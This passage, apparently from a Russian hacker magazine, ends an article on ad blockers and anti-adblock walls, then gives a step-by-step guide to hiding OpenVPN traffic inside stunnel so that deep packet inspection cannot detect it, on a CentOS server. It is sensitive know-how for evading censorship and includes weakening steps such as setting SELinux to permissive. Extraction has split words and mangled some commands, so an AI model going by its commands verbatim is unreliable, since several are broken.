Са ми эти допол нения исполь зовать  я  не рекомен дую,  пос коль ку  уни вер‐ 

саль ный  бло киров щик  фун кци ональ нее.  Нес коль ко  одновре мен но  работа‐ 
ющих допол нений со схо жими задача ми могут кон флик товать друг с дру гом.

«ОТКЛЮЧИ ADBLOCK ИЛИ УХОДИ»
На вер няка ты час то видел прось бы отклю чить AdBlock и его ана логи на раз‐ 
ных  сай тах.  В  какой‐то  момент  эти  прось бы  прев ратились  в  тре бова ния.
Теперь некото рые веб‐стра ницы скры вают свое содер жимое до тех пор, пока
ты не добавишь их в белый спи сок. Такое явле ние получи ло наз вание adwall
по  ана логии  с  paywall — огра ниче нием  показа  кон тента  толь ко  для  плат ных
под писчи ков.

Возь мем для при мера forbes.com. Если зай ти на него без бло киров щиков,
то рек лама нач нет вылезать еще при заг рузке.

Forbes — рек лама преж де все го!

Да лее она будет отоб ражать ся на  каж дой стра нице в  при ори тет ных мес тах.
Нап ример, ввер ху, сдви гая заголов ки ста тей.

При мер навяз чивой рек ламы

Ес ли же у тебя уста нов лен какой‐то бло киров щик, то с боль шой веро ятностью
тебе прос то заб локиру ют прос мотр сай та. Такое поведе ние все чаще встре‐ 
чает ся  на  круп ных  запад ных  сай тах,  в  осо бен ности  свя зан ных  с финан сами
и биз несом. Рас чет на то, что при лич ный человек, у которо го по какой‐то при‐ 
чине сто ит Adblock Plus, прос то добавит сайт в белый спи сок и пой дет даль‐ 
ше.

Ин терес но,  что  боль шинс тво  «рек ламных  стен»  сей час  опре деля ют  Ad‐
block Plus и пло хо детек тиру ют AdBlock.

Не все фор ки раз бива ются о сте ну adwall

Бло киров щик для бло киров щиков
От дель ное рас ширение   скры вает с веб‐стра ниц тре бова ния отклю‐ 
чить AdBlock и его ана логи.

IsraBlock

При мер работы IsraBlock

Пос ледняя  вер сия  IsraBlock  0.0.35  гораз до  луч ше  работа ет  в  Chrome,  чем
в Firefox. Если вер сия для Chrome поз воля ет задать рас ширен ные нас трой ки,
то в допол нении для Firefox нас тро ек нет вооб ще.

Рас ширен ные нас трой ки IsraBlock для Chrome

Сей час раз работ ка IsraBlock при оста нов лена, но он еще исправ но работа ет.

Ка ков ответ на глав ный воп рос? 42!

В нашем тес те uBlock Origin и «AdGuard Анти бан нер» лег ко пре одо лели adwall
на сай те Forbes.com. Никаких тре бова ний отклю чить AdBlock при посеще нии
это го  сай та  с  ними  не  появ лялось,  а  рек ламные  эле мен ты  были  акку рат но
выреза ны из кон тента стра ницы.

Сайт Forbes при посеще нии с AdGuard

Объ ясня ется это прос то. Для борь бы с adwall был соз дан скрипт и обновля‐ 
емый спи сок под наз вани ем  . Сна чала он отдель но добав‐ 
лялся  в  раз ные  бло киров щики,  а  затем  в  слег ка  изме нен ном  виде  вошел
в сос тав наибо лее прод винутых.

Anti‐Adblock Killer

Фун кция  Anti‐Adblock  Killer  выреза ет  из  кода  заг ружа емой  стра ницы  все,
что рас позна ет как тре бова ния раз решить показ рек ламы.

Что обыч но выреза ет Anti‐Adblock Killer

Ее даль нейшее раз витие про исхо дит  уже внут ри раз ных фор ков. Нап ример,
для uBlock Origin дос тупен  , а для AdBlock и Adblock Plus сей‐ 
час в раз работ ке  .

uBlock Protector
AdBlock Protector 2

Ме ханиз мы  про тиво дей ствия,  ана логич ные  Anti‐Adblock  Killer,  уже  добав‐ 
лены в пос ледние вер сии uBlock Origin и «AdGuard Анти бан нер». Уве рен, ско‐ 
ро они появят ся и в дру гих бло киров щиках — это лишь воп рос вре мени.

WWW

•AdBlock
•Adblock Plus
•uBlock Origin
•AdGuard Анти бан нер
•AdAway for Android
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У тебя могут быть самые раз ные мотивы, что бы поль зовать ся
VPN:  недове рен ные  сети,  раз ного  рода  огра ниче ния
или  прос то  разум ное  желание  не  рас простра нять  лиш ний
раз свои дан ные. В этой статье я рас ска жу, как сде лать себе
лич ный VPN на арен дован ном сер вере и нас тро ить OpenVPN
и  stunnel  таким  обра зом,  что бы  даже  глу бокая  инспек ция
пакетов ничего не давала.

О СЕРВИСАХ И БЛОКИРОВКАХ
Су щес тву ет  бес числен ное  мно жес тво  сер висов,  которые  пре дос тавля ют
VPN,  в  том  чис ле  и  бес плат ные.  Вот  нес коль ко  при чин,  почему  бес плат ный
VPN — это пло хая идея.
1. Ка чес тво. Те, кто поль зовал ся бес плат ным VPN, зна ют, что в боль шинс тве
слу чаев  сер вис  прос то  ужа сен:  низ кая  ско рость,  пос тоян ные  обры вы.
Это  и  неуди витель но,  ведь,  кро ме  тебя,  им  одновре мен но  может  поль‐ 
зовать ся еще пара сотен человек.

2. Бе зопас ность. Даже если  качес тво более‐менее снос ное,  ты не  зна ешь,
что на самом деле про исхо дит с тво им тра фиком. Хра нит ся и ана лизи рует‐ 
ся  ли  он,  кто  и  в  каких  целях  опе риру ет  сер висом.  Бес плат ный  сыр,
как говорит ся...

3. Ма лое  количес тво  или  пол ное  отсутс твие  опций  и  нас тро ек:  нет  воз‐ 
можнос ти выб рать шифр, про токол и порт. Оста ется толь ко поль зовать ся
тем, что дали.

С плат ными сер висами дела обсто ят луч ше: мож но ожи дать какого‐то гаран‐ 
тирован ного  качес тва  и  наличия  нас тро ек. Но  ты  все  еще  не можешь  знать
навер няка,  хра нят ся твои логи непос редс твен но на сер вере или нет. К тому
же тво его про вай дера могут заб локиро вать.

,  к  при меру,  научи ли  опре делять  и  бло киро‐ 
вать  тра фик  OpenVPN  при  помощи  тех ники    (DPI).
На какой бы порт ты его ни пря тал, будь то UDP 53 или TCP 443, в Китае прос‐ 
то  так  OpenVPN  не  пополь зуешь ся.  Дело  в  том,  что  в  режиме  TLS  тра фик
OpenVPN   от обыч ного тра фика HTTPS. Если под рукой есть сниф‐ 
фер, в этом нес ложно убе дить ся.

Ве ликий  китай ский фай рвол
Deep  packet  inspection

от лича ется

TLS‐тра фик OpenVPN

А вот как выг лядит обыч ный HTTPS.

Тра фик HTTPS

Не кото рые  популяр ные  плат ные  VPN  пре дос тавля ют  средс тва  обхо да  DPI,
но чем боль ше популяр ность, тем боль ше шанс, что про вай дер узна ет о сер‐ 
висе и смо жет пол ностью заб локиро вать дос туп к нему. От пол ной бло киров‐ 
ки не защищен ник то, но, ког да исполь зуешь пуб личный сер вис, шанс всег да
выше.

ПАРА СЛОВ ОБ OPENVPN
OpenVPN исполь зует два  канала:  канал  управле ния  (control  channel) и  канал
дан ных (data channel). В пер вом слу чае задей ству ется TLS — с его помощью
ведет ся аутен тифика ция и обмен клю чами для сим метрич ного шиф рования.
Эти  клю чи  исполь зуют ся  в  канале  дан ных,  где  и  про исхо дит  само  шиф‐ 
рование тра фика.

Су щес тву ют  скрип ты,  которые  авто мати зиру ют  уста нов ку,  и  про цесс
занима ет  мень ше  вре мени.  Но,  во‐пер вых,  эти  скрип ты  под ходят  толь ко
для  кон крет ных  дис три бути вов,  а  во‐вто рых,  они  не  пре дос тавля ют  выбора.
Нап ример, исполь зуют RSA и AES‐CBC, ког да есть под дер жка ECDSA и AES‐
GCM.  Таким  обра зом,  без  зна ния  и  понима ния  того,  как  это  работа ет,  ты
не  смо жешь  под пра вить  скрипт,  что бы  он  исполнял ся  на  дру гих  сис темах
или делал то, что ты хочешь.

ЧТО ТАКОЕ STUNNEL
 — это ути лита для обес печения защищен ного соеди нения меж ду кли‐ 

ентом и сер вером пос редс твом TLS для прог рамм, которые сами шиф ровать
тра фик  не  уме ют.  Нап ример,  мож но  тун нелиро вать  тра фик  для  , 
и даже  . В  нашем слу чае  stunnel  будет исполь зовать ся для мас киров ки
тра фика OpenVPN под «чис тый» TLS, что бы его было невоз можно опре делить
пос редс твом DPI и, сле дова тель но, заб локиро вать.

Stunnel

netcat vnc
bash

Тра фик, тун нелиру емый через stunnel, ничем не отли чает ся от обыч ного
HTTPS

С уче том того что OpenVPN исполь зует шиф рование для сво его канала дан‐ 
ных, у нас есть два вари анта нас трой ки:

ис поль зовать  шиф рование  stunnel  плюс  шиф рование  канала  дан ных
OpenVPN;

•

ис поль зовать  шиф рование  stunnel,  а  шиф рование  канала  дан ных  Open‐
VPN отклю чить.

•

Та ким обра зом, в пер вом вари анте получа ется два слоя: один от stunnel, вто‐ 
рой от OpenVPN. Этот вари ант поз волит исполь зовать RSA вмес те с ECDSA.
Недос таток в том, что тра тит ся боль ше ресур сов, и вто рой вари ант поз волит
это го избе жать. В любом слу чае нас трой ка stunnel оста ется неиз менной.

ЧТО НАМ ПОНАДОБИТСЯ
Про вай дер VPS
Пер вым  делом  нуж но  выб рать  про вай дера,  который  нам  пре дос тавит  вир‐ 
туаль ный выделен ный сер вер (VPS). Что выбирать — дело каж дого и зависит
от  стра ны  и  от  того,  сколь ко  ты  готов  пла тить.  Глав ная  рекомен дация  —
выбирай  стра ну,  наибо лее  близ кую  по  геог рафичес кому  рас положе нию,
это све дет задер жку к миниму му. Но, конеч но, живя в Китае, покупать сер вис
в Индии или Пакис тане смыс ла мало.

Вы бор ОС
Я  буду  исполь зовать    7.4.  Для  точ ного  копиро вания  команд  из  статьи
годит ся и   7 (1708), так как это бес плат ная и поч ти иден тичная копия
RHEL,  осно ван ная  на  его  коде.  Воз можно,  подой дут  дру гие  дис три бути вы,
а  так же  про изводные  RHEL  (Fedora),  но  пути  кон фигура цион ных  фай лов
и вер сии прог рамм могут отли чать ся.

RHEL
CentOS

ПОДГОТОВКА И ПЕРВИЧНАЯ НАСТРОЙКА
Пос ле покуп ки сер вера и уста нов ки сис темы нам нуж но попасть на сер вер. Я
буду  делать  это  с  помощью  SSH.  Вся  кон фигура ция  будет  про ходить  в  два
эта па:  нас трой ка на сер вере  (вклю чает  в  себя пер вичную нас трой ку)  и  нас‐ 
трой ка кли ентов.

Пос ле  покуп ки,  ско рее  все го,  тебе  дадут  дос туп  по SSH  с  логином 
и паролем. Поз же луч ше соз дать обыч ного поль зовате ля, а рутовые коман ды
выпол нять пос ле  . Нуж но это в том чис ле для защиты от брут форса —
поль зователь   обще извес тный, и при попыт ках бру та,  веро ятней все го,
будет исполь зовать ся имен но он.

root

sudo ‐i
root

Для  начала  нам  понадо бит ся  под клю чить  репози торий    —  пакет
 лежит имен но там.

EPEL
openvpn

$ yum install ‐y https://dl.fedoraproject.org/pub/epel/
epel‐release‐latest‐7.noarch.rpm
$ yum update ‐y

На RHEL, CentOS, Fedora, OpenSUSE и, воз можно, дру гих уста нов лен и вклю‐ 
чен  по  умол чанию  .  Про верить  это  мож но  коман дой 
или  .  Что бы  не  нырять  в  деб ри  его  нас тро ек  и  спас тись  от  воз‐ 
можной  голов ной  боли,  мы  переве дем  его  в  режим  .  В  этом
режиме  он  будет  опо вещать  нас  о  наруше ниях  политик  безопас ности,
но пред при нимать никаких дей ствий не ста нет. Таким обра зом, у тебя всег да
будет  воз можность  его  поизу чать.  Для  это го  нуж но  изме нить  сле дующую
дирек тиву в фай ле  :

SELinux getenforce
sestatus

permissive

/etc/selinux/config

SELINUX=permissive

Пе резаг ружа емся и ста вим необ ходимые пакеты:

$ yum install ‐y iptables‐services openvpn unzip

 — фай лы   для управле ния ути литой 
;

• iptablesservices .service ipt

ables

 — сам сер вер OpenVPN;• openvpn

за чем нужен  , поп робуй догадать ся сам. :‐)• unzip

Ба зовая защита
Пос коль ку китай ские боты и скрипт‐кид диз не дрем лют и, ско рее все го, уже
сей час про буют подоб рать пароль к тво ему сер веру, перене сем   на дру‐ 
гой порт и зап ретим логин от рута. Перед тем как это сде лать, нуж но убе дить‐ 
ся,  что  в  сис теме  сущес тву ет  дру гой  поль зователь  с  дос тупом  по  SSH,
или добавить нового и уста новить для него пароль.

sshd

$ useradd ‐G wheel ‐m eakj
$ passwd eakj

где   — имя поль зовате ля. В иде але нуж но исполь зовать клю чи SSH, но в
этом слу чае обой дем ся паролем. Не забудь про верить, рас коммен тирова на
ли строч ка   в фай ле  . Теперь изме ним
сле дующие дирек тивы в фай ле  :

eakj

%wheel ALL=(ALL) ALL /etc/sudoers
/etc/ssh/sshd_config

Port 12222
PermitRootLogin no
PasswordAuthentication yes

Пе речи таем  кон фиги  ( ),  убе дим ся,  что  sshd  под‐ 
нялся без проб лем ( ),  и поп робу ем открыть допол‐ 
нитель ную сес сию SSH, не зак рывая текущей.

systemctl  reload  sshd
systemctl status sshd

Ста тус sshd

РАБОТА НА СЕРВЕРЕ
Easy-rsa
Ути лита easy‐rsa была соз дана, что бы облегчить про цесс соз дания Certificate
Authority  (CA)  и  управле ния  ими,  а  так же  сер верны ми  и  кли ент ски ми  сер‐ 
тифика тами. В иде але для CA нуж но  выделить спе циаль ную машину,  но для
эко номии вре мени мож но исполь зовать все ту же.   ECDSA добави‐ 
ли  в  вер сии 3.0,  а  в  репози тори ях  у  нас 2.2.2,  поэто му  ска чаем 

. Это бинар ник, поэто му ничего  ком пилиро вать  уже не при‐ 
дет ся. :‐)

Под дер жку
пос леднюю

вер сию с GitHub

$ cd /opt/ && curl ‐O ‐L https://github.com/OpenVPN/easy‐rsa/archive/
master.zip
$ unzip master.zip && rm ‐f master.zip
$ cd easy‐rsa‐master/easyrsa3/ && cp vars.example vars

Да лее  в  фай ле    нуж но  рас коммен тировать  и  нас тро ить  некото рые
парамет ры.

vars

/opt/easy-rsa-master/easyrsa3/vars
set_var EASYRSA_DN     "cn_only"
set_var EASYRSA_ALGO            ec
set_var EASYRSA_CURVE           secp521r1
set_var EASYRSA_CA_EXPIRE       3650
set_var EASYRSA_CERT_EXPIRE     3650
set_var EASYRSA_CRL_DAYS        3650

Здесь ука зано, что исполь зовать нуж но толь ко Common Name (CN) для Distin‐
guished  Name  (DN)  и    (ec).  Так же
задано наз вание кри вой (secp521r1) и вре мя дей ствия сер тифика тов.

крип тогра фию  на  эллипти чес ких  кри вых

INFO

Не кото рые  вер сии  OpenSSL  отли чают ся  нес‐ 
табиль ной работой, так что рекомен дую выбирать
про верен ные  эллипти чес кие  кри вые:

,  ,  . В RHEL
и  родс твен ных  дис три бути вах  дос тупны  толь ко
они.  Спи сок  мож но  пос мотреть  при  помощи

.

prime256v1 secp384r1 secp521r1

openssl ecparam ‐list_curves

По  умол чанию,    будет  искать    в  той  же  дирек тории,  где  и  сам
исполня емый файл. Но для   мы объ явим перемен ную окру жения:

easyrsa vars
на деж ности

$ export EASYRSA_VARS_FILE=/opt/easy‐rsa‐master/easyrsa3/vars

Соз даем свой CA, а так же генери руем сер тифика ты и клю чи сер вера и кли‐ 
ентов:

$ ./easyrsa init‐pki
$ ./easyrsa ‐‐batch build‐ca nopass
$ ./easyrsa build‐server‐full openvpn‐server nopass
$ ./easyrsa build‐client‐full openvpn‐client nopass

где   и   — это наш CN для сер вера и кли ента.openvpn‐server openvpn‐client

easy‐rsa

Ско пиру ем  сер тификат  и  ключ  сер вера  в  ,  а  сер‐ 
тификат и ключ кли ента — в  .

/etc/openvpn/server
/tmp

$ cp ‐p pki/ca.crt pki/private/openvpn‐server.key pki/issued/
openvpn‐server.crt /etc/openvpn/server/
$ cp ‐p pki/ca.crt pki/private/openvpn‐client.key pki/issued/
openvpn‐client.crt /tmp/

OpenVPN-сер вер
Прис тупим к соз данию кон фигов и нас трой ки сер вера OpenVPN.

$ cd /etc/openvpn/server/
$ openvpn ‐‐genkey ‐‐secret ta.key

Файл   нужен для дирек тивы  , которая пре дос тавля ет 
 для нашего OpenVPN. Этот ключ дол жен быть и у

кли ента, поэто му ско пиру ем его в  :

ta.key tls‐auth до пол‐ 
нитель ный уро вень защиты

/tmp

$ cp ‐p ta.key /tmp/

При мер кон фига:

/etc/openvpn/server/openvpn-server.conf
## Bind на loopback‐адрес и стандартный порт,
## так как коннект из интернета все равно получает stunnel
local 127.0.0.1
port 1194
## Stunnel туннелирует только TCP
proto tcp
## Режим туннеля
dev tun
## Файлы сертификатов и ключей
ca ca.crt
cert openvpn‐server.crt
key openvpn‐server.key
## Включаем использование Elliptic Curve Diffie — Hellman (ECDH)
dh none
## На сервере ставим 0
tls‐auth ta.key 0
## Явно указываем, что можно использовать для канала управления (
control channel)
tls‐cipher TLS‐ECDHE‐ECDSA‐WITH‐AES‐256‐GCM‐SHA384:TLS‐ECDHE‐ECDSA‐
WITH‐CHACHA20‐POLY1305‐SHA256
## Шифр для канала данных (data channel)
cipher AES‐256‐GCM
server 10.8.8.0 255.255.255.0
## Указываем клиентам перенаправлять весь трафик в туннель,
## где 52.214.41.150 — IP сервера
push "redirect‐gateway def1"
push "route 52.214.41.150 255.255.255.255 net_gateway"
## Указываем использовать эти DNS
push "dhcp‐option DNS 208.67.222.222"
push "dhcp‐option DNS 208.67.220.220"
## Включаем возможность использования одного клиентского
## сертификата на многих устройствах одновременно
## для большего контроля — можно выключить (закомментировать)
duplicate‐cn
keepalive 10 120
user nobody
group nobody
persist‐key
persist‐tun
## Никаких логов. Есть смысл включить для отладки
## в случае сбоя
status /dev/null
log /dev/null
verb 0

Так же этот кон фиг не поз воля ет кли ентам общать ся меж ду собой в сети. Если
хочет ся  боль ше  кон тро ля,  то  мож но  зап ретить  исполь зование  одно го  сер‐ 
тифика та  на  мно гих  устрой ствах  одновре мен но.  Тог да  при дет ся  генери‐ 
ровать  кли ент ский  сер тификат  для  каж дого  устрой ства  отдель но.  Для  это го
нуж но заком менти ровать  .duplicate‐cn

Что бы отклю чить шиф рование, уста нав лива ем  , осталь ное —
без  изме нений.  В  этом  режиме  все  еще  будет  про ходить  аутен тифика ция,
но канал дан ных шиф ровать ся не будет.

cipher none

Про буем стар товать:

$ systemctl start openvpn‐server@openvpn‐server

Смот рим ста тус:

$ systemctl status openvpn‐server@openvpn‐server

То, что идет пос ле  , — это наз вание фай ла с кон фигом. Нап ример, если он
у тебя называ ется прос то  , тог да будет 

.

@

server.conf systemctl start open‐
vpn‐server@server

Ста тус OpenVPN

Ес ли все хорошо, добав ляем авто мати чес кую заг рузку:

$ systemctl enable openvpn‐server@openvpn‐server

Продолжение статьи →



ТВОЙ ТАЙНЫЙ ТУННЕЛЬ
ДЕТАЛЬНЫЙ ГАЙД ПО НАСТРОЙКЕ OPENVPN И STUNNEL

ДЛЯ СОЗДАНИЯ ЗАЩИЩЕННОГО КАНАЛА

PCZONE  НАЧАЛО СТАТЬИ←

Сер вер stunnel
В репози тори ях у нас вер сия stunnel 4.56, которая не под держи вает верифи‐ 
кацию кли ентов со сто роны сер вера, поэто му уста новим более све жую:

$ cd /opt && curl ‐O ‐L https://rpmfind.net/linux/fedora/linux/
updates/25/x86_64/Packages/s/stunnel‐5.41‐1.fc25.x86_64.rpm
$ rpm ‐ivh stunnel‐5.41‐1.fc25.x86_64.rpm
## Проверим
$ rpm ‐qi stunnel

Те перь  добавим  нового  поль зовате ля    и  соз дадим  ему  домаш нюю
дирек торию в  :

stunnel
/var/stunnel

$ useradd ‐d /var/stunnel ‐m ‐s /bin/false stunnel

Про верим, что все успешно:

$ ls ‐ld /var/stunnel

Это  дела ется  для  того,  что бы  не  запус кать    от  ,  и  дает  воз‐ 
можность исполь зовать  .

stunnel root
chroot

Ста тус stunnel

При мер но так дол жен выг лядеть  :/etc/stunnel/stunnel.conf

## Помни: exec исполняется из каталога chroot!
chroot = /var/stunnel
setuid = stunnel
setgid = stunnel
pid = /stunnel.pid
debug = 0
# performance tunning
socket = l:TCP_NODELAY=1
socket = r:TCP_NODELAY=1
## curve used for ECDHE
curve = secp521r1
sslVersion = all
options = NO_SSLv2
options = NO_SSLv3
[openvpn]
accept = 443
connect = 127.0.0.1:1194
renegotiation = no
## RSA
ciphers = ECDHE‐RSA‐AES256‐GCM‐SHA384:ECDHE‐RSA‐CHACHA20‐POLY1305:
ECDHE‐RSA‐AES256‐SHA
cert = /etc/stunnel/stunnel‐server.crt
key = /etc/stunnel/stunnel‐server.key
CAfile = /etc/stunnel/clients.crt
verifyPeer = yes

Ос новные дирек тивы в этом фай ле:
 —  ука зыва ет,  на  каком  адре се  и  пор те

будет слу шать наш  ;
• accept = [address:]<port>

stunnel

  —  ука зыва ет,  на  какой  адрес  и  порт
будет перенап равлять ся тра фик;

• connect  =  [address:]<port>

  —  абсо лют ный  путь  к  сер‐ 
тифика ту;

• cert  =  <full  path  to  certificate>

 — абсо лют ный путь к клю чу от это го сер‐ 
тифика та. Эту дирек тиву мож но опус тить, если ключ встро ен в файл с сер‐ 
тифика том.

• key = <full path to key>

Имя сер виса   зак люча ется в квад ратные скоб ки и может быть про‐ 
изволь ным.

[openvpn]

Соз дадим клю чи и сер тифика ты:

$ cd /etc/stunnel
$ openssl req ‐newkey rsa:2048 ‐nodes ‐keyout stunnel‐server.key \
‐x509 ‐days 3650 ‐subj "/CN=stunnel‐server" \
‐out stunnel‐server.crt

Так  как  все  сер тифика ты  кли ентов  дол жны  быть  записа ны  в 
на сер вере, сге нери руем их:

clients.crt

$ openssl req ‐newkey rsa:2048 ‐nodes ‐keyout eakj‐desktop.key \
 ‐x509 ‐days 3650 ‐subj "/CN=eakj‐desktop" \
 ‐out eakj‐desktop.crt
$ openssl req ‐newkey rsa:2048 ‐nodes ‐keyout eakj‐mobile.key \
 ‐x509 ‐days 3650 ‐subj "/CN=eakj‐mobile" \
 ‐out eakj‐mobile.crt
$ openssl pkcs12 ‐export ‐in eakj‐mobile.crt \
 ‐inkey eakj‐mobile.key ‐out eakj‐mobile.p12

При генера ции   нуж но будет ввес ти пароль, не забудь его.eakj‐mobile.p12

За пишем все  кли ент ские  сер тифика ты  в  . Вот  что дол жно при‐ 
мер но получить ся:

clients.crt

/etc/stunnel/clients.crt
## eakj‐desktop
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
## eakj‐mobile
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐

Стар туем:

$ systemctl start stunnel

И про веря ем:

$ systemctl status stunnel`

Ста тус stunnel

Ес ли все хорошо, то добав ляем на автостарт:

$ systemctl enable stunnel

Как и в слу чае с OpenVPN, ско пиру ем кли ент ские фай лы, а так же сер верный
сер тификат в  :/tmp

$ cp ‐p eakj‐* stunnel‐server.crt /tmp/

Нас трой ка фай рво ла и мар шру тиза ции
Что бы  сни зить  риск  перек рытия  дос тупа  самому  себе,  рекомен дую  не  про‐ 
писы вать  iptables в авто заг рузку и для начала хорошень ко про верить содер‐ 
жимое  фай ла  .  Если  что‐то  пой дет  не  так,  то  ты
смо жешь перезаг рузить машину и про дол жить экспе римен ты.

/etc/sysconfig/iptables

WARNING

Ути лита    —  это  мощ ный  инс тру мент,
но  он  не  тер пит  оши бок  в  кон фигура ции.  Сто ит
быть  пре дель но  акку рат ным  и  переп роверять
пра вила, что бы слу чай но не зак рыть себе дос туп.
Открыть  его  пос ле  это го  быва ет  труд но,  и  все
зависит от про вай дера VPS.

iptables

Ну а если уве рен, что все нас тро ил пра виль но, то пиши:

$ systemctl enable iptables

В некото рых слу чаях   может быть  уста нов лен  и  вклю чен  по  умол‐ 
чанию, нап ример на минималь ной уста нов ке CentOS 7.4. Так что для начала
луч ше про верь:

firewalld

$ systemctl status firewalld

Firewalld в CentOS 7.4.1708

Ес ли он вклю чен, то нуж но его оста новить и убрать из авто заг рузки.

$ systemctl stop firewalld
$ systemctl disable firewalld
$ systemctl status firewalld

Firewalld отклю чен

Убе дим ся, что спи сок пра вил у нас пуст ( ), и прис тупим.iptables ‐nvL

Спи сок пра вил iptables

Нам нуж но соз дать набор базовых пра вил для фай рво ла, который говорит:
поз волять пинг;•
при нимать любой тра фик на интерфейс  ;• lo

про пус кать пакеты на пор ты 443 и 12222 (еще не забыл, что мы перенес ли
наш SSH?);

•

а  так же  при нимать    на  наши  исхо дящие  .  Боль ше
информа ции о   мож но  .

• от веты зап росы

conntrack най ти в интерне те

$ iptables ‐A INPUT ‐m conntrack ‐‐ctstate RELATED,ESTABLISHED ‐j 
ACCEPT
$ iptables ‐A INPUT ‐i lo ‐j ACCEPT
$ iptables ‐A INPUT ‐p icmp ‐‐icmp‐type 8 ‐j ACCEPT
$ iptables ‐A INPUT ‐p tcp ‐‐dport 443 ‐j ACCEPT
$ iptables ‐A INPUT ‐p tcp ‐‐dport 12222 ‐j ACCEPT

По ка эти пра вила ничем не опас ны,  так  как  у них сто ит дей ствие  ,  то
есть при нимать и про пус кать. Смот рим, все ли добави лось (сно ва 

).

ACCEPT
iptables 

‐nvL

Ос новной набор пра вил iptables

Да лее нам понадо бит ся нес коль ко пра вил пере адре сации.

$ iptables ‐A FORWARD ‐m conntrack ‐‐ctstate RELATED,ESTABLISHED ‐j 
ACCEPT
$ iptables ‐A FORWARD ‐i tun+ ‐s 10.8.8.0/24 ‐j ACCEPT

Здесь   — адрес и мас ка под сети, которую мы ука зыва ли в 
.

10.8.8.0/24 open‐
vpn‐server.conf

До бавим  пра вила,  которые  поз волят  кли ентам  отсы лать  и  при нимать
пакеты из интерне та. Тут воз можны два вари анта: вари ант, ког да у тебя есть
ста тичес кий IP, и вари ант, ког да адрес динами чес кий. Пер вый луч ше тем, что
не тра тят ся ресур сы на опре деле ние IP‐адре са. Пре иму щес тво вто рого вари‐ 
анта — в том, что не надо иметь ста тичес кий IP. Если ты не уве рен или не зна‐ 
ешь, какой у тебя, исполь зуй вто рой вари ант. Для начала узна ем свой адрес
коман дой  . У меня сер вер за NAT, поэто му и IP тут локаль ной сети.ip a

Вот  вари анты  пра вил.  Пом ни,  что  тебе  нуж но  ,  вмес те  их
не добав ляй.

ли бо  1,  либо  2

1. 
, где   — это IP, прис‐ 

воен ный  интерфей су,  который  смот рит  в  инет,  а    —  это  сам
интерфейс.

iptables t nat A POSTROUTING s 10.8.8.0/24 o eth0 j 

SNAT tosource 172.31.26.46 172.31.26.46

eth0

2. 
.

iptables t nat A POSTROUTING s 10.8.8.0/24 o eth0 j 

MASQUERADE

Нас трой ки фор вардин га

Ос талось ука зать полити ку   по умол чанию для цепочек   и  ,
пос ле чего сох раним наши пра вила.

DROP INPUT FORWARD

$ iptables ‐P INPUT DROP
$ iptables ‐P FORWARD DROP
$ iptables‐save > /etc/sysconfig/iptables

По лити ка по умол чанию сра баты вает пос ле того, как отра бота ли все пра вила
в цепоч ке. Поэто му перед тем, как ее при менить, сто ит удос товерить ся, что
все нуж ные пор ты откры ты.

Фи наль ные нас трой ки

Ес ли  на  этом  эта пе  ты  еще  не  потерял  дос туп  к  сво ему  сер веру,  тог да
добавим пра вила в авто заг рузку и про дол жим. :‐)

$ systemctl enable iptables

Да лее нам нуж но вклю чить фор вардинг пакетов, так как по умол чанию он вык‐ 
лючен. Про верить это мож но коман дой

$ sysctl net.ipv4.ip_forward

Ес ли  вывод  коман ды  показы вает  ,  то  ничего
делать не нуж но, фор вардинг уже вклю чен. Если же 
,  то  в  фай ле    нуж но  изме нить  уже  сущес тву ющую
или добавить новую строч ку  . Это поз волит нашим
изме нени ям пережи вать перезаг рузку. Далее выпол ним коман ду  ,
что бы изме нения при мени лись немед ленно.

net.ipv4.ip_forward  =  1
net.ipv4.ip_forward =

0 /etc/sysctl.conf
net.ipv4.ip_forward = 1

sysctl ‐p

НАСТРОЙКА КЛИЕНТОВ
Нас трой ка  сер вера  закон чена. Сей час  у  нас  в    дол жны быть  все  необ‐ 
ходимые фай лы для кли ентов.

/tmp

Со дер жимое пап ки /tmp

Как  вид но,  некото рые  фай лы  дос тупны  для  чте ния  толь ко  руту,  что  не  поз‐ 
волит их ска чать при помощи   (ведь логин от рута у нас зап рещен). Поэто‐ 
му прис воим им дру гого вла дель ца коман дой

scp

$ chown eakj: /tmp/{ta.key,ca.crt,openvpn‐client.crt,openvpn‐client.
key}

где eakj — это имя поль зовате ля, которо го мы соз дали в начале для дос тупа
по SSH. Не забудь уда лить эти фай лы из   на сер вере. Пос ле того как нас‐ 
тро ишь все свои кли енты, они там толь ко для удобс тва ска чива ния.

/tmp

Для эко номии вре мени я возь му один и тот же сер тификат и ключ для под‐ 
клю чения к OpenVPN в Linux, Windows и Android. Но на Android будет дру гой
сер тификат и  ключ для под клю чения  к  stunnel,  так  как  там при дет ся исполь‐ 
зовать фор мат PKCS#12.

Продолжение статьи →



ТВОЙ ТАЙНЫЙ ТУННЕЛЬ
ДЕТАЛЬНЫЙ ГАЙД ПО НАСТРОЙКЕ OPENVPN И STUNNEL

ДЛЯ СОЗДАНИЯ ЗАЩИЩЕННОГО КАНАЛА

PCZONE  НАЧАЛО СТАТЬИ←

Кли ент stunnel
Linux
С  пра вами  разоб рались,  перей дем  к  нас трой ке  кли ента.  Нуж но  ска чать
и  уста новить  ,  обыч но  он  есть  в  репози тори ях  и  c  уста нов кой  нет
проб лем. Так же   мож но най ти на офи циаль ном сай те.

stunnel
ис ходни ки

В Fedora надо наб рать  , в Arch Linux: 
, в Ubuntu:  .

dnf install ‐y stunnel pacman ‐S
stunnel apt install stunnel4

INFO

В Ubuntu 16.04.3 LTS пакет   име ет вер‐ 
сию 5.30, которая не под держи вает верифи кацию
(verifyPeer),  поэто му  при дет ся  или  най ти  све жий
пакет,  или  заком менти ровать 
и  .  Так же  нуж но  изме нить 
на   в фай ле 

. Воз можны и дру гие мел кие отли чия, для их
обна руже ния понадо бит ся вклю чить логиро вание.

stunnel4

verifyPeer
CAfile ENABLED=0
ENABLED=1 /etc/default/stun‐

nel4

Те перь  ска чаем  кли ент ские  фай лы  коман дой  .  Обра ти  вни мание,  что
для записи в   нуж ны пра ва рута, поэто му и   нуж но запус тить
от супер поль зовате ля.

scp
/etc/stunnel scp

$ scp ‐P 12222 eakj@52.214.41.150:"/tmp/{eakj‐*,stunnel‐server.crt}
" /etc/stunnel/

Те перь нуж но соз дать кли ент ский  . Вот при мер./etc/stunnel/stunnel.conf

[openvpn]
client = yes
accept = 127.0.0.1:1194
connect = 52.214.41.150:443
## Проверить сервер
